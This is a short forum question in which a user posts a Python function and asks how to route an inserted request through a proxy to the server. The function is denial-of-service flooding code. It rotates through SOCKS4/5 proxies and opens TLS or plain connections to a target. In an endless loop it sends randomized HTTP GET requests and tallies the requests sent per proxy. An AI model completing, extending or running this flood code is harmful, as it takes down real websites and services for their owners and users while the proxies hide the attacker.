O
O
Opred2021-09-20 05:55:30
Python
Opred, 2021-09-20 05:55:30

How to insert a request?

def cc(event,socks_type,ind_rlock):
    global ind_dict
    header = GenReqHeader("get")
    proxy = Choice(proxies).strip().split(":")
    add = "?"
    if "?" in path:
        add = "&"
    event.wait()
    while True:
        try:
            s = socks.socksocket()
            if socks_type == 4:
                s.set_proxy(socks.SOCKS4, str(proxy[0]), int(proxy[1]))
            if socks_type == 5:
                s.set_proxy(socks.SOCKS5, str(proxy[0]), int(proxy[1]))
            if brute:
                s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
            s.connect((str(target), int(port)))
            if protocol == "https":
                ctx = ssl.SSLContext()
                s = ctx.wrap_socket(s,server_hostname=target)
            try:
                for _ in range(multiple+1):
                    get_host = "GET " + path + add + randomurl() + " HTTP/1.1\r\nHost: " + target + "\r\n"
                    request = get_host + header
                    sent = s.send(str.encode(request))
                    if not sent:
                        proxy = Choice(proxies).strip().split(":")
                        break
                s.close()
            except:
                s.close()
            ind_rlock.acquire()
            ind_dict[(proxy[0]+":"+proxy[1]).strip()] += multiple+1
            ind_rlock.release()
        except:
            s.close()


How to insert a request into this code
<LIST l="qwerty"/>
So that it is sent to the proxy and from there to the server

Answer the question

In order to leave comments, you need to log in

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question